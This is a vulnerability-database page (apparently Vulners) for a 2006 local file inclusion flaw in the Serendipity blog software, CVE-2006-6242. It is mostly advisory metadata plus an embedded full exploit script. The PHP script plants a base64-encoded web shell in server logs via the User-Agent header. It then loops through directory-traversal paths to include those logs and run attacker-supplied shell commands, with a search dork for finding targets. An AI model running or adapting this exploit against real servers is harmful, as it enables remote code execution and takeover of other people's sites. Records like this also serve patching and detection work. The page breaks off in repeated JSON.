Search...

Serendipity serendipity_event_spamblock/serendipity_event_spamblock.php serendipity[charset] Variable Traversal Local File Inclusion

2006-11-30T18:18:00

ID OSVDB:36548
Type osvdb
Reporter OSVDB
Modified 2006-11-30T18:18:00

Description

No description provided by the source

References:

JSON Vulners Source

Initial Source

{"bulletinFamily": "software", "viewCount": 0, "reporter": "OSVDB", "references": [], "description": "# No description provided by the source\n\n## References:\n[Related OSVDB ID: 36535](https://vulners.com/osvdb/OSVDB:36535)\n[Related OSVDB ID: 36536](https://vulners.com/osvdb/OSVDB:36536)\n[Related OSVDB ID: 36537](https://vulners.com/osvdb/OSVDB:36537)\n[Related OSVDB ID: 36539](https://vulners.com/osvdb/OSVDB:36539)\n[Related OSVDB ID: 36550](https://vulners.com/osvdb/OSVDB:36550)\n[Related OSVDB ID: 36551](https://vulners.com/osvdb/OSVDB:36551)\n[Related OSVDB ID: 36553](https://vulners.com/osvdb/OSVDB:36553)\n[Related OSVDB ID: 36554](https://vulners.com/osvdb/OSVDB:36554)\n[Related OSVDB ID: 36555](https://vulners.com/osvdb/OSVDB:36555)\n[Related OSVDB ID: 36565](https://vulners.com/osvdb/OSVDB:36565)\n[Related OSVDB ID: 36543](https://vulners.com/osvdb/OSVDB:36543)\n[Related OSVDB ID: 36556](https://vulners.com/osvdb/OSVDB:36556)\n[Related OSVDB ID: 36560](https://vulners.com/osvdb/OSVDB:36560)\n[Related OSVDB ID: 36561](https://vulners.com/osvdb/OSVDB:36561)\n[Related OSVDB ID: 36563](https://vulners.com/osvdb/OSVDB:36563)\n[Related OSVDB ID: 36542](https://vulners.com/osvdb/OSVDB:36542)\n[Related OSVDB ID: 36544](https://vulners.com/osvdb/OSVDB:36544)\n[Related OSVDB ID: 36545](https://vulners.com/osvdb/OSVDB:36545)\n[Related OSVDB ID: 36546](https://vulners.com/osvdb/OSVDB:36546)\n[Related OSVDB ID: 36547](https://vulners.com/osvdb/OSVDB:36547)\n[Related OSVDB ID: 36549](https://vulners.com/osvdb/OSVDB:36549)\n[Related OSVDB ID: 36559](https://vulners.com/osvdb/OSVDB:36559)\n[Related OSVDB ID: 36564](https://vulners.com/osvdb/OSVDB:36564)\n[Related OSVDB ID: 36538](https://vulners.com/osvdb/OSVDB:36538)\n[Related OSVDB ID: 36540](https://vulners.com/osvdb/OSVDB:36540)\n[Related OSVDB ID: 36541](https://vulners.com/osvdb/OSVDB:36541)\n[Related OSVDB ID: 36552](https://vulners.com/osvdb/OSVDB:36552)\n[Related OSVDB ID: 36557](https://vulners.com/osvdb/OSVDB:36557)\n[Related OSVDB ID: 36558](https://vulners.com/osvdb/OSVDB:36558)\n[Related OSVDB ID: 36562](https://vulners.com/osvdb/OSVDB:36562)\nOther Advisory URL: http://www.s9y.org/forums/viewtopic.php?t=7922\nISS X-Force ID: 30615\nGeneric Exploit URL: http://milw0rm.com/exploits/2869\nFrSIRT Advisory: ADV-2006-4782\n[CVE-2006-6242](https://vulners.com/cve/CVE-2006-6242)\nBugtraq ID: 21367\n", "affectedSoftware": [], "href": "https://vulners.com/osvdb/OSVDB:36548", "modified": "2006-11-30T18:18:00", "enchantments": {"score": {"value": 6.5, "vector": "NONE", "modified": "2017-04-28T13:20:32", "rev": 2}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2006-6242"]}, {"type": "exploitdb", "idList": ["EDB-ID:2869"]}, {"type": "osvdb", "idList": ["OSVDB:36547", "OSVDB:36559", "OSVDB:36556", "OSVDB:36561", "OSVDB:36539", "OSVDB:36560", "OSVDB:36535", "OSVDB:36546", "OSVDB:36536", "OSVDB:36542"]}, {"type": "nessus", "idList": ["SERENDIPITY_CHARSET_FILE_INCLUDE.NASL"]}], "modified": "2017-04-28T13:20:32", "rev": 2}, "vulnersScore": 6.5}, "id": "OSVDB:36548", "title": "Serendipity serendipity_event_spamblock/serendipity_event_spamblock.php serendipity[charset] Variable Traversal Local File Inclusion", "edition": 1, "published": "2006-11-30T18:18:00", "type": "osvdb", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "cvelist": ["CVE-2006-6242"], "lastseen": "2017-04-28T13:20:32"}

{"cve": [{"lastseen": "2021-02-02T05:27:26", "description": "Multiple directory traversal vulnerabilities in Serendipity 1.0.3 and earlier allow remote attackers to read or include arbitrary local files via a .. (dot dot) sequence in the serendipity[charset] parameter in (1) include/lang.inc.php; or to plugins/ scripts (2) serendipity_event_bbcode/serendipity_event_bbcode.php, (3) serendipity_event_browsercompatibility/serendipity_event_browsercompatibility.php, (4) serendipity_event_contentrewrite/serendipity_event_contentrewrite.php, (5) serendipity_event_creativecommons/serendipity_event_creativecommons.php, (6) serendipity_event_emoticate/serendipity_event_emoticate.php, (7) serendipity_event_entryproperties/serendipity_event_entryproperties.php, (8) serendipity_event_karma/serendipity_event_karma.php, (9) serendipity_event_livesearch/serendipity_event_livesearch.php, (10) serendipity_event_mailer/serendipity_event_mailer.php, (11) serendipity_event_nl2br/serendipity_event_nl2br.php, (12) serendipity_event_s9ymarkup/serendipity_event_s9ymarkup.php, (13) serendipity_event_searchhighlight/serendipity_event_searchhighlight.php, (14) serendipity_event_spamblock/serendipity_event_spamblock.php, (15) serendipity_event_spartacus/serendipity_event_spartacus.php, (16) serendipity_event_statistics/serendipity_plugin_statistics.php, (17) serendipity_event_templatechooser/serendipity_event_templatechooser.php, (18) serendipity_event_textile/serendipity_event_textile.php, (19) serendipity_event_textwiki/serendipity_event_textwiki.php, (20) serendipity_event_trackexits/serendipity_event_trackexits.php, (21) serendipity_event_weblogping/serendipity_event_weblogping.php, (22) serendipity_event_xhtmlcleanup/serendipity_event_xhtmlcleanup.php, (23) serendipity_plugin_comments/serendipity_plugin_comments.php, (24) serendipity_plugin_creativecommons/serendipity_plugin_creativecommons.php, (25) serendipity_plugin_entrylinks/serendipity_plugin_entrylinks.php, (26) serendipity_plugin_eventwrapper/serendipity_plugin_eventwrapper.php, (27) serendipity_plugin_history/serendipity_plugin_history.php, (28) serendipity_plugin_recententries/serendipity_plugin_recententries.php, (29) serendipity_plugin_remoterss/serendipity_plugin_remoterss.php, (30) serendipity_plugin_shoutbox/serendipity_plugin_shoutbox.php, and and (31) serendipity_plugin_templatedropdown/serendipity_plugin_templatedropdown.php.\nSuccessful exploitation requires that \"register_globals\" is enabled.\r\nThis vulnerability is addressed in the following product release:\r\nS9Y, Serendipity, 1.0.4", "edition": 4, "cvss3": {}, "published": "2006-12-03T19:28:00", "title": "CVE-2006-6242", "type": "cve", "cwe": ["CWE-22"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": true, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2006-6242"], "modified": "2017-10-19T01:29:00", "cpe": ["cpe:/a:s9y:serendipity:0.6", "cpe:/a:s9y:serendipity:0.7", "cpe:/a:s9y:serendipity:0.5", "cpe:/a:s9y:serendipity:0.3", "cpe:/a:s9y:serendipity:1.0.3", "cpe:/a:s9y:serendipity:0.5_pl1", "cpe:/a:s9y:serendipity:0.8.2", "cpe:/a:s9y:serendipity:1.0_beta3", "cpe:/a:s9y:serendipity:0.8_beta6", "cpe:/a:s9y:serendipity:0.6_pl1", "cpe:/a:s9y:serendipity:0.8.1", "cpe:/a:s9y:serendipity:0.7_beta1", "cpe:/a:s9y:serendipity:1.0_beta2", "cpe:/a:s9y:serendipity:0.8_beta5", "cpe:/a:s9y:serendipity:0.6_rc1", "cpe:/a:s9y:serendipity:0.7_beta4", "cpe:/a:s9y:serendipity:0.6_rc2", "cpe:/a:s9y:serendipity:0.4", "cpe:/a:s9y:serendipity:0.7_beta3", "cpe:/a:s9y:serendipity:0.8", "cpe:/a:s9y:serendipity:0.9.1", "cpe:/a:s9y:serendipity:0.7.1", "cpe:/a:s9y:serendipity:0.6_pl3", "cpe:/a:s9y:serendipity:0.7_beta2", "cpe:/a:s9y:serendipity:0.7_rc1", "cpe:/a:s9y:serendipity:0.6_pl2"], "id": "CVE-2006-6242", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-6242", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:s9y:serendipity:0.7_beta3:*:*:*:*:*:*:*", "cpe:2.3:a:s9y:serendipity:0.8:*:*:*:*:*:*:*", "cpe:2.3:a:s9y:serendipity:0.8_beta5:*:*:*:*:*:*:*", "cpe:2.3:a:s9y:serendipity:0.6_pl1:*:*:*:*:*:*:*", "cpe:2.3:a:s9y:serendipity:0.7.1:*:*:*:*:*:*:*", "cpe:2.3:a:s9y:serendipity:1.0_beta2:*:*:*:*:*:*:*", "cpe:2.3:a:s9y:serendipity:0.6_pl2:*:*:*:*:*:*:*", "cpe:2.3:a:s9y:serendipity:0.7_beta1:*:*:*:*:*:*:*", "cpe:2.3:a:s9y:serendipity:0.6_pl3:*:*:*:*:*:*:*", "cpe:2.3:a:s9y:serendipity:0.4:*:*:*:*:*:*:*", "cpe:2.3:a:s9y:serendipity:0.8_beta6:*:*:*:*:*:*:*", "cpe:2.3:a:s9y:serendipity:0.5:*:*:*:*:*:*:*", "cpe:2.3:a:s9y:serendipity:0.9.1:*:*:*:*:*:*:*", "cpe:2.3:a:s9y:serendipity:0.8.1:*:*:*:*:*:*:*", "cpe:2.3:a:s9y:serendipity:0.7_rc1:*:*:*:*:*:*:*", "cpe:2.3:a:s9y:serendipity:0.7_beta4:*:*:*:*:*:*:*", "cpe:2.3:a:s9y:serendipity:0.7_beta2:*:*:*:*:*:*:*", "cpe:2.3:a:s9y:serendipity:1.0_beta3:*:*:*:*:*:*:*", "cpe:2.3:a:s9y:serendipity:1.0.3:*:*:*:*:*:*:*", "cpe:2.3:a:s9y:serendipity:0.7:*:*:*:*:*:*:*", "cpe:2.3:a:s9y:serendipity:0.6:*:*:*:*:*:*:*", "cpe:2.3:a:s9y:serendipity:0.3:*:*:*:*:*:*:*", "cpe:2.3:a:s9y:serendipity:0.8.2:*:*:*:*:*:*:*", "cpe:2.3:a:s9y:serendipity:0.5_pl1:*:*:*:*:*:*:*", "cpe:2.3:a:s9y:serendipity:0.6_rc1:*:*:*:*:*:*:*", "cpe:2.3:a:s9y:serendipity:0.6_rc2:*:*:*:*:*:*:*"]}], "exploitdb": [{"lastseen": "2016-01-31T17:12:47", "description": "Serendipity <= 1.0.3 (comment.php) Local File Include Exploit. CVE-2006-6242. Webapps exploit for php platform", "published": "2006-11-30T00:00:00", "type": "exploitdb", "title": "Serendipity <= 1.0.3 comment.php Local File Include Exploit", "bulletinFamily": "exploit", "cvelist": ["CVE-2006-6242"], "modified": "2006-11-30T00:00:00", "id": "EDB-ID:2869", "href": "https://www.exploit-db.com/exploits/2869/", "sourceData": "<?\n\nprint '\n::::::::: :::::::::: ::: ::: ::::::::::: ::: \n:+: :+: :+: :+: :+: :+: :+: \n+:+ +:+ +:+ +:+ +:+ +:+ +:+ \n+#+ +:+ +#++:++# +#+ +:+ +#+ +#+ \n+#+ +#+ +#+ +#+ +#+ +#+ +#+ \n#+# #+# #+# #+#+#+# #+# #+# \n######### ########## ### ########### ########## \n::::::::::: :::::::::: ::: :::: :::: \n :+: :+: :+: :+: +:+:+: :+:+:+ \n +:+ +:+ +:+ +:+ +:+ +:+:+ +:+ \n +#+ +#++:++# +#++:++#++: +#+ +:+ +#+ \n +#+ +#+ +#+ +#+ +#+ +#+ \n #+# #+# #+# #+# #+# #+# \n ### ########## ### ### ### ### \n\t\n - - [DEVIL TEAM THE BEST POLISH TEAM] - -\n \n\n[Exploit name: Serendipity <= 1.0.3 Local File Include Exploit\n[Script name: Serendipity v.1.0.3\n[Script site: http://www.s9y.org/\ndork: \"Betrieben mit Serendipity 1.0.3\"\n\n\nworks with register_globals=On\n\n\nFind by: Kacper (a.k.a Rahim)\n\n\n========> DEVIL TEAM IRC: irc.milw0rm.com:6667 #devilteam <========\n========> http://www.rahim.webd.pl/ <========\n\nContact: kacper1964@yahoo.pl\n\n(c)od3d by Kacper\n-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\nGreetings DragonHeart and all DEVIL TEAM Patriots :)\n- Leito & Leon | friend str0ke ;)\npepi, nukedclx, SkD, MXZ, sysios, mIvus, wacky, xoron, fdj, mass, D3m0n (ziom z Niemiec :P)\n\n and\n \nDr Max Virus\nTamTurk,\nhackersecurity.org\n\n-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n Greetings for 4ll Fusi0n Group members ;-)\n and all members of hacker.com.pl ;)\n-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n';\n\nif ($argc<4) {\nprint_r('\n-----------------------------------------------------------------------------\nUsage: php '.$argv[0].' host path cmd OPTIONS\nhost: target server (ip/hostname)\npath: Serendipity path\ncmd: a shell command (ls -la)\nOptions:\n -p[port]: specify a port other than 80\n -P[ip:port]: specify a proxy\nExample:\nphp '.$argv[0].' 2.2.2.2 /Serendipity/ ls -la -P1.1.1.1:80\nphp '.$argv[0].' 1.1.1.1 / ls -la\n-----------------------------------------------------------------------------\n');\n\ndie;\n}\n\nerror_reporting(0);\nini_set(\"max_execution_time\",0);\nini_set(\"default_socket_timeout\",5);\n\nfunction quick_dump($string)\n{\n $result='';$exa='';$cont=0;\n for ($i=0; $i<=strlen($string)-1; $i++)\n {\n if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))\n {$result.=\" .\";}\n else\n {$result.=\" \".$string[$i];}\n if (strlen(dechex(ord($string[$i])))==2)\n {$exa.=\" \".dechex(ord($string[$i]));}\n else\n {$exa.=\" 0\".dechex(ord($string[$i]));}\n $cont++;if ($cont==15) {$cont=0; $result.=\"\\r\\n\"; $exa.=\"\\r\\n\";}\n }\n return $exa.\"\\r\\n\".$result;\n}\n$proxy_regex = '(\\b\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\:\\d{1,5}\\b)';\nfunction sendpacket($packet)\n{\n global $proxy, $host, $port, $html, $proxy_regex;\n if ($proxy=='') {\n $ock=fsockopen(gethostbyname($host),$port);\n if (!$ock) {\n echo 'No response from '.$host.':'.$port; die;\n }\n }\n else {\n\t$c = preg_match($proxy_regex,$proxy);\n if (!$c) {\n echo 'Not a valid proxy...';die;\n }\n $parts=explode(':',$proxy);\n echo \"Connecting to \".$parts[0].\":\".$parts[1].\" proxy...\\r\\n\";\n $ock=fsockopen($parts[0],$parts[1]);\n if (!$ock) {\n echo 'No response from proxy...';die;\n\t}\n }\n fputs($ock,$packet);\n if ($proxy=='') {\n $html='';\n while (!feof($ock)) {\n $html.=fgets($ock);\n }\n }\n else {\n $html='';\n while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {\n $html.=fread($ock,1);\n }\n }\n fclose($ock);\n}\nfunction make_seed()\n{\n list($usec, $sec) = explode(' ', microtime());\n return (float) $sec + ((float) $usec * 100000);\n}\n\n$host=$argv[1];\n$path=$argv[2];\n$cmd=\"\";\n\n$port=80;\n$proxy=\"\";\nfor ($i=3; $i<$argc; $i++){\n$temp=$argv[$i][0].$argv[$i][1];\nif (($temp<>\"-p\") and ($temp<>\"-P\")) {$cmd.=\" \".$argv[$i];}\nif ($temp==\"-p\")\n{\n $port=str_replace(\"-p\",\"\",$argv[$i]);\n}\nif ($temp==\"-P\")\n{\n $proxy=str_replace(\"-P\",\"\",$argv[$i]);\n}\n}\nif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}\n\n\necho \"insert evil code in logfiles ...\\r\\n\\r\\n\";\n$hauru = base64_decode(\"PD9waHAgb2JfY2xlYW4oKTsvL1J1Y2hvbXkgemFtZWsgSGF1cnUgOy0pZWNobyIuL\".\n\"i5IYWNrZXIuLkthY3Blci4uTWFkZS4uaW4uLlBvbGFuZCEhLi4uREVWSUwuVEVBTS\".\n\"4udGhlLi5iZXN0Li5wb2xpc2guLnRlYW0uLkdyZWV0ei4uLiI7ZWNobyIuLi5HbyB\".\n\"UbyBERVZJTCBURUFNIElSQzogNzIuMjAuMTguNjo2NjY3ICNkZXZpbHRlYW0iO2Vj\".\n\"aG8iLi4uREVWSUwgVEVBTSBTSVRFOiBodHRwOi8vd3d3LnJhaGltLndlYmQucGwvI\".\n\"jtpbmlfc2V0KCJtYXhfZXhlY3V0aW9uX3RpbWUiLDApO2VjaG8gIkhhdXJ1IjtwYX\".\n\"NzdGhydSgkX1NFUlZFUltIVFRQX0hBVVJVXSk7ZGllOz8+\");\n\n$packet=\"GET \".$p.$hauru.\" HTTP/1.0\\r\\n\";\n$packet.=\"User-Agent: \".$hauru.\" Googlebot/2.1\\r\\n\";\n$packet.=\"Host: \".$host.\"\\r\\n\";\n$packet.=\"Connection: close\\r\\n\\r\\n\";\nsendpacket($packet);\nsleep(3);\n\necho \"check logfile Vulnerabilities ...\\n\";\n$packet =\"POST \".$p.\"comment.php?type=trackback&entry_id=\".$hauru.\" HTTP/1.0\\r\\n\";\n$packet.=\"User-Agent: \".$hauru.\"\\r\\n\";\n$packet.=\"CLIENT-IP: \".$hauru.\"\\r\\n\";\n$packet.=\"Host: \".$host.\"\\r\\n\";\n$packet.=\"Connection: Close\\r\\n\\r\\n\";\n$packet.=$data;\nsendpacket($packet);\nif (strstr($html,\"trackback failed.\"))\n{\n$temp=explode(\"trackback failed.\",$html);\ndie($temp[1]);\n}\necho \" now remote code execution (option 1)...\\n\";\n$packet =\"GET \".$p.\"trackback2.log HTTP/1.1\\r\\n\";\n$packet.=\"HAURU: \".$cmd.\"\\r\\n\";\n$packet.=\"Host: \".$host.\"\\r\\n\";\n$packet.=\"Connection: Close\\r\\n\\r\\n\";\nsendpacket($packet);\nsleep(1);\n\n$paths= array (\n\"../../../../../var/log/httpd/access_log\",\n\"../../../../../var/log/httpd/error_log\",\n\"../apache/logs/error.log\",\n\"../apache/logs/access.log\",\n\"../../apache/logs/error.log\",\n\"../../apache/logs/access.log\",\n\"../../../apache/logs/error.log\",\n\"../../../apache/logs/access.log\",\n\"../../../../apache/logs/error.log\",\n\"../../../../apache/logs/access.log\",\n\"../../../../../apache/logs/error.log\",\n\"../../../../../apache/logs/access.log\",\n\"../logs/error.log\",\n\"../logs/access.log\",\n\"../../logs/error.log\",\n\"../../logs/access.log\",\n\"../../../logs/error.log\",\n\"../../../logs/access.log\",\n\"../../../../logs/error.log\",\n\"../../../../logs/access.log\",\n\"../../../../../logs/error.log\",\n\"../../../../../logs/access.log\",\n\"../../../../../etc/httpd/logs/access_log\",\n\"../../../../../etc/httpd/logs/access.log\",\n\"../../../../../etc/httpd/logs/error_log\",\n\"../../../../../etc/httpd/logs/error.log\",\n\"../../../../../var/www/logs/access_log\",\n\"../../../../../var/www/logs/access.log\",\n\"../../../../../usr/local/apache/logs/access_log\",\n\"../../../../../usr/local/apache/logs/access.log\",\n\"../../../../../var/log/apache/access_log\",\n\"../../../../../var/log/apache/access.log\",\n\"../../../../../var/log/access_log\",\n\"../../../../../var/www/logs/error_log\",\n\"../../../../../var/www/logs/error.log\",\n\"../../../../../usr/local/apache/logs/error_log\",\n\"../../../../../usr/local/apache/logs/error.log\",\n\"../../../../../var/log/apache/error_log\",\n\"../../../../../var/log/apache/error.log\",\n\"../../../../../var/log/access_log\",\n\"../../../../../var/log/error_log\"\n);\n\nfor ($i=0; $i<=count($paths)-1; $i++)\n{\n$a=$i+2;\necho \" now remote code execution (option 2)...[\".$a.\"]\\n\";\n$packet =\"GET \".$p.\"include/lang.inc.php?serendipity[charset]=../../\".$paths[$i].\"%00 HTTP/1.1\\r\\n\";\n$packet.=\"HAURU: \".$cmd.\"\\r\\n\";\n$packet.=\"Host: \".$host.\"\\r\\n\";\n$packet.=\"Connection: Close\\r\\n\\r\\n\";\nsendpacket($packet);\nif (strstr($html,\"Hauru\"))\n{\n$temp=explode(\"Hauru\",$html);\ndie($temp[1]);\n}\n}\n$include= array (\n\"plugins/serendipity_event_bbcode/serendipity_event_bbcode.php\",\n\"plugins/serendipity_event_browsercompatibility/serendipity_event_browsercompatibility.php\",\n\"plugins/serendipity_event_contentrewrite/serendipity_event_contentrewrite.php\",\n\"plugins/serendipity_event_creativecommons/serendipity_event_creativecommons.php\",\n\"plugins/serendipity_event_emoticate/serendipity_event_emoticate.php\",\n\"plugins/serendipity_event_entryproperties/serendipity_event_entryproperties.php\",\n\"plugins/serendipity_event_karma/serendipity_event_karma.php\",\n\"plugins/serendipity_event_livesearch/serendipity_event_livesearch.php\",\n\"plugins/serendipity_event_mailer/serendipity_event_mailer.php\",\n\"plugins/serendipity_event_nl2br/serendipity_event_nl2br.php\",\n\"plugins/serendipity_event_s9ymarkup/serendipity_event_s9ymarkup.php\",\n\"plugins/serendipity_event_searchhighlight/serendipity_event_searchhighlight.php\",\n\"plugins/serendipity_event_spamblock/serendipity_event_spamblock.php\",\n\"plugins/serendipity_event_spartacus/serendipity_event_spartacus.php\",\n\"plugins/serendipity_event_statistics/serendipity_plugin_statistics.php\",\n\"plugins/serendipity_event_templatechooser/serendipity_event_templatechooser.php\",\n\"plugins/serendipity_event_textile/serendipity_event_textile.php\",\n\"plugins/serendipity_event_textwiki/serendipity_event_textwiki.php\",\n\"plugins/serendipity_event_trackexits/serendipity_event_trackexits.php\",\n\"plugins/serendipity_event_weblogping/serendipity_event_weblogping.php\",\n\"plugins/serendipity_event_xhtmlcleanup/serendipity_event_xhtmlcleanup.php\",\n\"plugins/serendipity_plugin_comments/serendipity_plugin_comments.php\",\n\"plugins/serendipity_plugin_creativecommons/serendipity_plugin_creativecommons.php\",\n\"plugins/serendipity_plugin_entrylinks/serendipity_plugin_entrylinks.php\",\n\"plugins/serendipity_plugin_eventwrapper/serendipity_plugin_eventwrapper.php\",\n\"plugins/serendipity_plugin_history/serendipity_plugin_history.php\",\n\"plugins/serendipity_plugin_recententries/serendipity_plugin_recententries.php\",\n\"plugins/serendipity_plugin_remoterss/serendipity_plugin_remoterss.php\",\n\"plugins/serendipity_plugin_shoutbox/serendipity_plugin_shoutbox.php\",\n\"plugins/serendipity_plugin_templatedropdown/serendipity_plugin_templatedropdown.php\",\n);\n$paths= array (\n\"../../../../../var/log/httpd/access_log\",\n\"../../../../../var/log/httpd/error_log\",\n\"../apache/logs/error.log\",\n\"../apache/logs/access.log\",\n\"../../apache/logs/error.log\",\n\"../../apache/logs/access.log\",\n\"../../../apache/logs/error.log\",\n\"../../../apache/logs/access.log\",\n\"../../../../apache/logs/error.log\",\n\"../../../../apache/logs/access.log\",\n\"../../../../../apache/logs/error.log\",\n\"../../../../../apache/logs/access.log\",\n\"../logs/error.log\",\n\"../logs/access.log\",\n\"../../logs/error.log\",\n\"../../logs/access.log\",\n\"../../../logs/error.log\",\n\"../../../logs/access.log\",\n\"../../../../logs/error.log\",\n\"../../../../logs/access.log\",\n\"../../../../../logs/error.log\",\n\"../../../../../logs/access.log\",\n\"../../../../../etc/httpd/logs/access_log\",\n\"../../../../../etc/httpd/logs/access.log\",\n\"../../../../../etc/httpd/logs/error_log\",\n\"../../../../../etc/httpd/logs/error.log\",\n\"../../../../../var/www/logs/access_log\",\n\"../../../../../var/www/logs/access.log\",\n\"../../../../../usr/local/apache/logs/access_log\",\n\"../../../../../usr/local/apache/logs/access.log\",\n\"../../../../../var/log/apache/access_log\",\n\"../../../../../var/log/apache/access.log\",\n\"../../../../../var/log/access_log\",\n\"../../../../../var/www/logs/error_log\",\n\"../../../../../var/www/logs/error.log\",\n\"../../../../../usr/local/apache/logs/error_log\",\n\"../../../../../usr/local/apache/logs/error.log\",\n\"../../../../../var/log/apache/error_log\",\n\"../../../../../var/log/apache/error.log\",\n\"../../../../../var/log/access_log\",\n\"../../../../../var/log/error_log\"\n);\n\nfor ($i=0; $i<=count($paths)-1; $i++)\nfor ($l=0; $l<=count($include)-1; $l++)\n{\n{\n$b=$l+2;\necho \" now remote code execution (option 3)...[\".$b.\"]\\n\";\n$packet =\"GET \".$p.\"\".$include[$l].\"?serendipity[charset]=../../\".$paths[$i].\"%00 HTTP/1.1\\r\\n\";\n$packet.=\"HAURU: \".$cmd.\"\\r\\n\";\n$packet.=\"Host: \".$host.\"\\r\\n\";\n$packet.=\"Connection: Close\\r\\n\\r\\n\";\nsendpacket($packet);\nif (strstr($html,\"Hauru\"))\n{\n$temp=explode(\"Hauru\",$html);\ndie($temp[1]);\n}\n}\n}\necho \"Exploit err0r :( check register_globals\\r\\n\";\necho \"Go to DEVIL TEAM IRC: irc.milw0rm.com:6667 #devilteam\\r\\n\";\n?>\n\n# milw0rm.com [2006-11-30]\n", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/2869/"}], "osvdb": [{"lastseen": "2017-04-28T13:20:32", "bulletinFamily": "software", "cvelist": ["CVE-2006-6242"], "description": "# No description provided by the source\n\n## References:\n[Related OSVDB ID: 36535](https://vulners.com/osvdb/OSVDB:36535)\n[Related OSVDB ID: 36536](https://vulners.com/osvdb/OSVDB:36536)\n[Related OSVDB ID: 36537](https://vulners.com/osvdb/OSVDB:36537)\n[Related OSVDB ID: 36539](https://vulners.com/osvdb/OSVDB:36539)\n[Related OSVDB ID: 36550](https://vulners.com/osvdb/OSVDB:36550)\n[Related OSVDB ID: 36551](https://vulners.com/osvdb/OSVDB:36551)\n[Related OSVDB ID: 36553](https://vulners.com/osvdb/OSVDB:36553)\n[Related OSVDB ID: 36554](https://vulners.com/osvdb/OSVDB:36554)\n[Related OSVDB ID: 36555](https://vulners.com/osvdb/OSVDB:36555)\n[Related OSVDB ID: 36565](https://vulners.com/osvdb/OSVDB:36565)\n[Related OSVDB ID: 36543](https://vulners.com/osvdb/OSVDB:36543)\n[Related OSVDB ID: 36556](https://vulners.com/osvdb/OSVDB:36556)\n[Related OSVDB ID: 36560](https://vulners.com/osvdb/OSVDB:36560)\n[Related OSVDB ID: 36561](https://vulners.com/osvdb/OSVDB:36561)\n[Related OSVDB ID: 36563](https://vulners.com/osvdb/OSVDB:36563)\n[Related OSVDB ID: 36542](https://vulners.com/osvdb/OSVDB:36542)\n[Related OSVDB ID: 36544](https://vulners.com/osvdb/OSVDB:36544)\n[Related OSVDB ID: 36545](https://vulners.com/osvdb/OSVDB:36545)\n[Related OSVDB ID: 36546](https://vulners.com/osvdb/OSVDB:36546)\n[Related OSVDB ID: 36547](https://vulners.com/osvdb/OSVDB:36547)\n[Related OSVDB ID: 36548](https://vulners.com/osvdb/OSVDB:36548)\n[Related OSVDB ID: 36559](https://vulners.com/osvdb/OSVDB:36559)\n[Related OSVDB ID: 36564](https://vulners.com/osvdb/OSVDB:36564)\n[Related OSVDB ID: 36538](https://vulners.com/osvdb/OSVDB:36538)\n[Related OSVDB ID: 36540](https://vulners.com/osvdb/OSVDB:36540)\n[Related OSVDB ID: 36541](https://vulners.com/osvdb/OSVDB:36541)\n[Related OSVDB ID: 36552](https://vulners.com/osvdb/OSVDB:36552)\n[Related OSVDB ID: 36557](https://vulners.com/osvdb/OSVDB:36557)\n[Related OSVDB ID: 36558](https://vulners.com/osvdb/OSVDB:36558)\n[Related OSVDB ID: 36562](https://vulners.com/osvdb/OSVDB:36562)\nOther Advisory URL: http://www.s9y.org/forums/viewtopic.php?t=7922\nISS X-Force ID: 30615\nGeneric Exploit URL: http://milw0rm.com/exploits/2869\nFrSIRT Advisory: ADV-2006-4782\n[CVE-2006-6242](https://vulners.com/cve/CVE-2006-6242)\nBugtraq ID: 21367\n", "edition": 1, "modified": "2006-11-30T18:18:00", "published": "2006-11-30T18:18:00", "href": "https://vulners.com/osvdb/OSVDB:36549", "id": "OSVDB:36549", "title": "Serendipity serendipity_event_spartacus/serendipity_event_spartacus.php serendipity[charset] Variable Traversal Local File Inclusion", "type": "osvdb", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:32", "bulletinFamily": "software", "cvelist": ["CVE-2006-6242"], "description": "# No description provided by the source\n\n## References:\n[Related OSVDB ID: 36535](https://vulners.com/osvdb/OSVDB:36535)\n[Related OSVDB ID: 36536](https://vulners.com/osvdb/OSVDB:36536)\n[Related OSVDB ID: 36537](https://vulners.com/osvdb/OSVDB:36537)\n[Related OSVDB ID: 36539](https://vulners.com/osvdb/OSVDB:36539)\n[Related OSVDB ID: 36550](https://vulners.com/osvdb/OSVDB:36550)\n[Related OSVDB ID: 36551](https://vulners.com/osvdb/OSVDB:36551)\n[Related OSVDB ID: 36553](https://vulners.com/osvdb/OSVDB:36553)\n[Related OSVDB ID: 36554](https://vulners.com/osvdb/OSVDB:36554)\n[Related OSVDB ID: 36555](https://vulners.com/osvdb/OSVDB:36555)\n[Related OSVDB ID: 36565](https://vulners.com/osvdb/OSVDB:36565)\n[Related OSVDB ID: 